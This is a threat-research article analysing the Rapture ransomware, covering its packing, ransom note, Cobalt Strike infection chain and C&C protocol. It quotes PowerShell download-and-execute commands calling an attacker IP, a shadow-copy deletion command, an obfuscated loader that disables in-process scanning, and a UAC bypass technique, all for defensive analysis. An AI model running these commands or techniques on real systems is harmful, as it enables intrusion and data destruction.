Rapture, a Ransomware Family With Similarities to Paradise

b trendmicro.com/en_us/research/23/d/rapture-a-ransomware-family-with-similarities-to-paradise.html

April 28, 2023

Ransomware

In March and April 2023, we observed a type of ransomware targeting its victims via a minimalistic approach with tools that leave only a minimal footprint behind. Our findings revealed many of the preparations made by the perpetrators and how quickly they managed to carry out the ransomware attack.

By: Don Ovid Ladores, Ian Kenefick, Earle Maui Earnshaw April 28, 2023 Read time: (words)

Introduction

In March and April 2023, we observed a type of <u>ransomware</u> targeting its victims via a minimalistic approach with tools that leave only a minimal footprint behind. Our findings revealed many of the preparations made by the perpetrators and how quickly they managed to carry out the ransomware attack.

The memory dump during the ransomware's execution reveals an RSA key configuration file similar to that used by the <u>Paradise ransomware</u>. To make analysis more difficult, the attackers packed the Rapture ransomware <u>using Themida</u>, a commercial packer. Rapture requires at least a .NET 4.0 framework for proper execution; this suggests more similarities with Paradise, which has been known to be compiled as a .NET executable. For this reason, we dubbed this ransomware type as Rapture, a closely related nomenclature to Paradise.

It is important to note that although it shares certain similarities with Paradise, Rapture's behavior is different from the former.

Discovery, reconnaissance, and staging

In April, we found a couple of ransomware activities that appear to be injected in legitimate processes. By tracing these activities back to the source process, we found that the ransomware appeared as an activity loaded into memory from a <u>Cobalt Strike</u> beacon. In some instances, the attackers dropped the ransomware in a folder or drive as a **.log* file:

- E:\ITS.log
- C:\[Redacted]\Aps.log

Hiew: this.ex	(e																										-		\times
3					_												↓F	RO -					PE	.004	100000	Hiew	8.43	(c)SE	N
.00400000:	4D	5A	90	00.	-03	00	00	00-	04	00	00	00-	FF	FF	00	00	MZ	ÉV	+									(-/	
.00400010:	B8	00	00	00-	-00	00	00	00-	40	00	00	00-	00	00	00	00	5												
.00400020:	00	00	00	00-	-00	00	00	00-	00	00	00	00-	00	00	00	00													
.00400030:	00	00	00	00	-00	00	00	00-	-00	00	00	00-	80	00	00	00				Ç									
.00400040:	ØE	1F	BA	ØE-	-00	Β4	09	CD-	-21	B8	01	4C-	CD	21	54	68	۶tv	18 -	o=! ₁	⊜L=	!Th								
.00400050:		73	20	70-	-72		67	72-	61	6D	20	63-	61	6E	6E		is	pro	gran	i car									
.00400060:	74	20	62	6																				<] [>	<]				
.00400070:	6D		64	6	F		lumb	ber	Na	me	V	irt	Siz	.e	R	VA	P	hysS	ize	0ft	fset	Flag							
.00400080:	50	45	00	0				1			e	000	0A06	90 (900	0200	0 0	0003	800	0000	<u> 20400</u>	600000	20						
.00400090:	00	00	00	0				2			e	000	059	98 (900	0000	0 0	0000	400	0000	03C00	400000	40						
.004000A0:	00	08	00	0				3			e	000	006	9C (900	0E00	0 0	0000	200	0000	94000	420000	40						
.004000B0:	00	C0	00	0				4.	ida	ta	e	000	206	90 (300:	1000	0 0	0000	200	0000	94200	C00000	40						
.004000C0:	04	00	00	0				5.	nsr	C	6	000	206	90 (300:	1200	0 0	0000	600	0000	94400	400000	40						
.004000D0:	00	20	A8	0				6.	win	lic	e 0	067	206	90 (300:	1400	0 0	0000	000	0000	94A00	E00000	60						
.004000E0:	00	00	10	0				7.	boo	t	e	03F	B46	90 (306	8600	0 0	03FB	400	0000	94A00	600000	60						
.004000F0:	00	90	00	0																									
.00400100:	ЗA	00	01	0																									
.00400110:	00	00	00	0																									
.00400120:	00	00	00	0																									
.00400130:	00	00	00	0				_																					
.00400140:	00	00	00	0			0+1	fset	: ou	t =																			
.00400150:	00	00	00	0	ч.																								
.00400160:	00	00	00	0																									
.00400170:	00	00	00	00.	-00	00	00	00-	-20	20	20	20-	20	20	20	20													
.00400180:	00	A0	00	00.	-00	20	00	00-	-00	38	00	00-	00	04	00	00	á			3									
.00400190:	00	00	00	00.	-00	00	00	00-	-00	00	00	00-	20	00	00	60													
.004001A0:	20	20	20	20.	- 20	20	20	20-	-98	05	00	00-	00	00	00	00			y 4										
1Help 2EI	90	94	00 dit	90.	- 00 - 400	3C 1d	66	00- RV/	- 66	60	00 Iffe	et	700	00	99	00 9001	oto		date	10		1100	120	auto					

Figure 1. The ransomware file packed using Themida

The Rapture ransomware drops its notes to every traversed directory (the first six characters might appear to random, but they are actually hard-coded string configurations).

- 7qzxid-README.txt
- qiSgqu-README.txt

It then appends the same six characters to the following encrypted files:

- *.7qzxid
- *.qiSgqu

Rapture requires certain command lines (shown in Figure 2) to execute properly. Once the correct argument is passed to the malicious file, it will start the ransomware routine as also displayed in its console window.

All

Process Path	Operation	Info
C:\Windows\System32\	new process	C:\User exe all
C:\Users\Desktop\	set registry value	key: HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap value: UNCAsIntranet data: 0
C:\Users' Desktop\	set registry value	$key: HKCU\ Software}\ Windows\ Current Version\ Internet\ Settings\ ZoneMap\ value:\ AutoDetect\ data: 1$
C:\Users' Desktop\	set registry value	key: HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap value: UNCAsIntranet data: 0
C:\Users' Desktop\	set registry value	$key: HKCU\ Software}\ Windows\ Current Version\ Internet\ Settings\ ZoneMap\ value:\ AutoDetect\ data: 1$
C:\Users' Desktop\	new process	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" vssadmin.exe delete shadows /all
C:\Users Desktop\	create file	C:\ProgramData\7qzxid-README.txt
C:\Users' Desktop\	modify file	C:\ProgramData\7qzxid-README.txt
C:\Windows\System32\	set registry value	key: HKU\S-1-5-21-4243500239-1656902334-2267919944-1000_CLASSES\Local Settings\MuiCache\19\52C64B7E value: L
C:\Windows\System32\	set registry value	key: HKU\S-1-5-21-4243500239-1656902334-2267919944-1000_CLASSES\Local Settings\MuiCache\19\52C64B7E value: (
C:\Windows\System32\	set registry value	key: HKU\S-1-5-21-4243500239-1656902334-2267919944-1000_CLASSES\Local Settings\MuiCache\19\52C64B7E value: L
C:\Windows\System32\	set registry value	key: HKU\S-1-5-21-4243500239-1656902334-2267919944-1000_CLASSES\Local Settings\MuiCache\19\52C64B7E value: (
C:\Windows\System32\	set registry value	key: HKU\S-1-5-21-4243500239-1656902334-2267919944-1000_CLASSES\Local Settings\MuiCache\19\52C64B7E value: L
C:\Windows\System32\	set registry value	key: HKU\S-1-5-21-4243500239-1656902334-2267919944-1000_CLASSES\Local Settings\MuiCache\19\52C64B7E value: (
C:\Windows\System32\	set registry value	key: HKU\S-1-5-21-4243500239-1656902334-2267919944-1000_CLASSES\Local Settings\MuiCache\19\52C64B7E value: L
C:\Windows\System32\	set registry value	key: HKU\S-1-5-21-4243500239-1656902334-2267919944-1000_CLASSES\Local Settings\MuiCache\19\52C64B7E value: (
<pre>[+] Svcs stoped. [+] VSS RM Finis [*] Drive (C:\) [*] \$Recycle.Bin [*] \$WinREAgent [*] Documents an [*] PerfLogs [*] Program File [*] Program File [*] ProgramData [*] Recovery [*] System Volum [*] Users [*] Windows [*] Drive (D:\) [*] boot [*] efi [*] sources [*] support</pre>	hed. d Settings s (x86) e Information 	
[=====]0		
[-] Err Enc ! Ac [-] Err Enc ! Ac [-] Err Enc ! Ac [-] Err Enc ! Ac	cess to the path cess to the path cess to the path	n 'C:\Users\All Users\ntuser.pol' is denied. n 'C:\Users\All Users\Microsoft\AppV\Setup\OfficeIntegrator.ps1' is n 'C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-

Figure 2. Execution of the Rapture ransomware using the correct command-line arguments (top) and the console window during ransomware execution (bottom)

The dropped ransom note bears some resemblance to the <u>Zeppelin ransomware</u> (although we believe this is the only connection between the two). We tried to gleam additional information from the ransom note and discovered that the Rapture ransomware has been <u>around</u> for a while now, but there were no samples available during its initial sighting.

7qzxid-README.txt - Notepad	-		×
File Edit Format View Help			
All your important files are modified!			
YOUR SPECIAL KEY is			
Any attempts to restore your files with the thrid-party software will be fatal for your files! The ONLY POSIBLE WAY TO RESTORE YOUR DATA is buy private key from us.			
Follow the instructions below to get your files back:			
<pre>1. Send an email with YOUR SPECIAL KEY to our mailbox:</pre>			
 2. Complete the payment in the method specified by us (usually Monero) 3. Send payment records to us and then download tool that can recover files in a short time 			
<pre>### Attention! ### # Do not rename files. # Do not try to decrypt using third party software, it may cause permanent data loss</pre>			
# Decryption of your files with the help of third parties may cause increased price(they add their	fee to	our)	

Figure 3. The dropped ransom note

During our investigation, we discovered that the whole infection chain spans three to five days at most (counting from the time of discovery of the reconnaissance commands). Rapture's operators first perform the following, likely to guarantee a more successful attack:

- Inspect firewall policies
- Check the PowerShell version
- Check for vulnerable Log4J applets

Figure 4. One of the PowerShell command lines found during the reconnaissance stage After a successful reconnaissance routine, the attackers proceed with the first stage of the attack by downloading and executing a PowerShell script to install Cobalt Strike in the target's system.

After the reconnaissance stage, the attackers will try to gain access to the victim's network (likely through vulnerable public-facing websites and servers since their initial entry is via *w3wp.exe* for PowerShell execution).

The following command is used for the first execution instance of PowerShell through *w3wp.exe*:

/c powershell set-alias -name aspersky -value Invoke-Expression;aspersky(New-Object Net.WebClient).DownloadString('[hxxp]://195.123.234[.]101:80/Sharepoint/Pickers.aspx')

Meanwhile, the second execution instance, this time from Windows Management Instrumentation (WMI), is done via the following command:

/c powershell set-alias -name kaspersky -value Invoke-Expression;kaspersky(New-Object Net.WebClient).DownloadString('[hxxp]://195.123.234[.]101:80/Microsoft/Online')

<pre>[Byte[]]\$c = [System.Convert]::FromBase64String('AXQBIG2pXFEx4VRpa0dr2UBSH1x12m11QCVc2GVsaVZpWG0bAAEgICBUW2BmTVIfFyBU&WtHa2VADh83F1xncGtWXGtYX1xjXFtWa1xeVlpbF0fFyWpXF1dbF IWaVhGx9pXGt1YG2HZW2g1p1bD1p2j1ca1heXGNc02tcPjExVGNYX2ppWEQla1xaYGipXEpnZm1ca2VAJVxYGt1bEk1ZFxranBKUhc0F1xkZWxpVm1YbRsAAQEgX2te2VxjJVxb21pWaVhtGxojxVxXdWzZ Vm1YbRsVyCX11xb21pWaVhtGx9w22YGMTFUYIhfan1YRCVqKYEpDWlc1atxaYGipXEpnZm1ca2VAJVxYGt1bEk1ZFxranBKUhc0F1xkZWxpVm1YbRsAAQEgX2te2VxjJVxb21pWaVhtGxojxVxXdWzZ Vm1YbRsVyCX11xb21pWaVhtGx9w22YGMTFUYIhfan1YRCVqKYEpDWlc2KFyNUKSpr2UBMUhcjVCkqc2DsAAEgJvzvXxcjJvcnKm8nFyNFa151XEHN1XFtwH1ZpWGObFyNmaVxRHTFUAWtHa2VADh9xT Zt2UA1WG1WaVhtGxc0F21cXV1sWVZpWG0bAAEgICBU&WtHa2VADh8XIFQpKmt1QExSFyNUKSpr2UBMUhcjVCkqa2VATFIX11Rpa0dr2UBSHzcXXGdwa1zca1heXGNcW1ZrXFSWmWv8XR8XIyBaZmNjOGNYbGtp YEOXY2NbJSkqY1x1aVx1F2pqKG1bW1hWmm2p1ZrXFSWmWv8K8faVxr2WBmR2VmYGtzZWw9&WY9XGtYXlxjNtrXD4xWVRjWF9qaVhZWpOMmBtaVxK222pXGt1QCVcGGbzZMxJJWRca2pwS1INBdYbVZpWG ObAAEBdAABLCXaWZVWSQWUSbU1xb21pWaVhtGxc0F1RvG1oW2ZaVm1YbRsAAAFyyA1Im8bFzJrZWxm01VcW2ZaVm1YbRsAa2MxF28bFz1nFzQXbxsfF21mXQABASAeQVknW1dEYDxLQEk7TzhJFEU4STKK J149WEASKLoukW1D0yJaYURGby1cGguaypcJ1kcK2Q6bEBpSpoPU0sTWZZTh [Byte[]]\$d = [System.Convert]::FromBase64String('W1xjYFg\$a2B1QGBq2Fg') function 0 (\$v) { [Byte[]]\$t = {\$v.clone()}</pre>
for (\$x = 0; \$x -lt \$v.Count; \$x++) {
<pre>\$t[\$v.Count-\$x-1] = \$v[\$x] + 3</pre>
return \$t
$\xi \gamma = 0$
while(\$y _gt 6){
\$c = 0(\$c)
\$d = O(\$d)
\$e = O(\$e)
\$y = \$y - 1
[Ref].Assembly.GetType([System.Text.Encoding]::ASCII.GetString(\$d)).GetField([System.Text.Encoding]::ASCII.GetString(\$e), 'NonPublic,Static').SetValue(\$null,\$t rue)
iex([System.Text.Encoding]::ASCII.GetString(\$c))

Figure 5. PowerShell of the first-stage downloader

The attacks use a unique method of obtaining higher privileges to execute the payload. By default, there is a task in newer versions of Windows called

<u>CreateExplorerShellUnelevatedTask</u> that prevents *explorer.exe* from running with elevated privileges. However, if *explorer.exe* is launched using the command line /NOUACCHECK, it inherits the elevated status from the parent process. In this case, the malicious actors injected the malicious activity into an existing *svchost.exe*, which serves as the parent process. The *svchost.exe* process then executes *explorer.exe* using the /NOUACCHECK command. Once this is done, *explorer.exe* can then be used to drop and execute the second stage Cobalt Strike beacon downloader.

The second-stage downloader will then connect to the following address to download the main Cobalt Strike beacon: 195.123.234[.]101/DoFor/review/Mcirosoft

The data response from the command-and-control (C&C) server contains the encrypted beacon sandwiched in the middle of a JavaScript file (with the script code bearing no actual usage or significance for the malware chain). The downloader decrypts the sandwiched code and then executes the Cobalt Strike beacon.



Figure 6. The Cobalt Strike downloader C&C server response containing the encrypted beacon

The second (main) stage beacon will attempt to connect to another subfolder in the same C&C server, where it will attempt to receive the backdoor command and other payloads. Similarly, the response of the C&C server is also sandwiched in another JavaScript code that will be decoded by the following beacon: *195.123.234[.]101/Make/v8.01/Sharepoint*

Based on our analysis of the decrypted C&C response from the beacon, we have deduced that the decoded content will have the following structure (after the beacon removes the garbage padding):

Offset	Length	Data	Description
0x00	0x04	N/A	Four-byte header
0x04	0x04	0x04000000	Flag (big endian will convert to little endian after decryption)
0x08	0x04	0xnn000000	Backdoor command (big endian will convert to little endian after decryption)
0x0c	0x04	N/A	Data size, length of additional data from the response; big endian will convert to little endian after decryption
0x10	Depends on [0x0c]	N/A	Additional data to be supplied to some of the backdoor commands

Table 1. The structure of the decrypted C&C server response from the beacon communication

We found that the beacon performed ransomware activities in majority of the affected systems, which implies that the code is downloaded and executed in memory except for a few machines where we found the actual ransomware.

We tried to gather more information about the Cobalt Strike beacon via its watermark, where we discovered that the same watermark is also used by other threat actors. This indicates that it is likely that Rapture's operators are using a pirated Windows license which is also being used by several others.

Summa	iry	Activity	Source
	FIN7 First seen 11 years ago Groups targeting financial organizations or people with significant financial assets. IoCs: 3.1 K		Cobalt Strike
4	Cobalt First seen 11 years ago A criminal group dubbed Cobalt is behind synchronized ATM heists that saw machines across Europe, CIS countries (including Russia), and Mal IoCs: 9.1 K		Cobalt Strike
	APT19 First seen 14 years ago Adversary group targeting financial, technology, non-profit organisations. IoCs: 136 Suspected sponsor: China		Cobalt Strike
	APT19 First seen 10 years ago The New York Times described Codoso as: 'A collection of hackers for hire that the security industry has been tracking for years. Over the years, IoCs: 46		Cobalt Strike
	Axiom First seen 14 years ago The Winnti grouping of activity is large and may actually be a number of linked groups rather than a single discrete entity. Kaspersky describe Wi IoCs: 603 Suspected sponsor: China	~~~	Cobalt Strike
6	WNC2452 First seen 2 years ago Reporting regarding activity related to the SolarWinds supply chain injection has grown quickly since initial disclosure on 13 December 2020. A si IoCs: 76	~~~~	Cobalt Strike
2	Earth Lusca First seen 8 years ago Earth Lusca is a threat actor from China that targets organizations of interest to the Chinese government, including academic institutions, teleco IoCs: 113	\sim	Cobalt Strike
	UNC1878 First seen 13 years ago UNC1878 is a financially motivated threat actor that monetizes network access via the deployment of RYUK ransomware. Earlier this year, Mand IoCs: 10.3 K	·	Cobalt Strike
	Carbanak First seen 2 years ago Carbanak is a cybercriminal group that has used Carbanak malware to target financial institutions since at least 2013. Carbanak may be linked t IoCs: 99		Cobalt Strike
	APT10 First seen 14 years ago menuPass is a threat group that has been active since at least 2006. Individual members of menuPass are known to have acted in association w IoCs: 2.3 K Suspected sponsor: China		Cobalt Strike
\$	APT40 First seen 14 years ago Leviathan is an espionage actor targeting organizations and high-value targets in defense and government. Active since at least 2014, this actor IoCs: 334 Suspected sponsor: China	~~~_	Cobalt Strike

Figure 7. The particular Cobalt Strike watermark as seen in relation to different groups

Conclusion

The Rapture ransomware is cleverly designed and bears some similarities to other ransomware families such as Paradise. Although its operators use tools and resources that are readily available, they have managed to use them in a way that enhances Rapture's capabilities by making it stealthier and more difficult to analyze. As is the case with many modern families, these types of fairly sophisticated ransomware are beginning to become the norm in many present-day campaigns.

Recommendations and Solutions

To protect their systems from ransomware attacks, organizations can implement security frameworks that systematically allocate resources to establish a robust defense strategy. Here are some recommended guidelines for organizations consider:

- Conduct an inventory of assets and data.
- Identify authorized and unauthorized devices and software.
- Audit event and incident logs
- Manage hardware and software configurations.
- Grant admin privileges and access only when necessary for an employee's role.
- Monitor network ports, protocols, and services.
- Establish a software allowlist that only allows legitimate applications to execute.
- Implement data protection, backup, and recovery measures.
- Enable multifactor authentication (MFA).
- Deploy the latest versions of security solutions to all layers of the system, including email, endpoint, web, and network.
- Watch for early signs of an attack, such as the presence of suspicious tools in the system.

Organizations can adopt a multifaceted approach to secure potential entry points into their systems, such as endpoints, emails, webs, and networks. By using security solutions that can detect malicious elements and questionable activities, enterprises can protect themselves from ransomware attacks.

A multilayered approach can help organizations guard possible entry points into their system (endpoint, email, web, and network). Security solutions can detect malicious components and suspicious behavior, which can help protect enterprises.

- Trend Micro Vision One[™] provides multilayered protection and behavior detection, which helps block questionable behavior and tools before the ransomware can do any damage.
- Trend Micro Cloud One[™] Workload Security protects systems against both known and unknown threats that exploit vulnerabilities. This protection is made possible through techniques such as virtual patching and machine learning.
- <u>Trend Micro™ Deep Discovery™ Email Inspector</u> employs custom sandboxing and advanced analysis techniques to effectively block malicious emails, including phishing emails that can serve as entry points for ransomware.
- <u>Trend Micro Apex One</u>[™] offers next-level automated threat detection and response against advanced concerns such as fileless threats and ransomware, ensuring the protection of endpoints.

Indicators of Compromise (IOCs)

The indicators of compromise for this entry can be found <u>here</u>.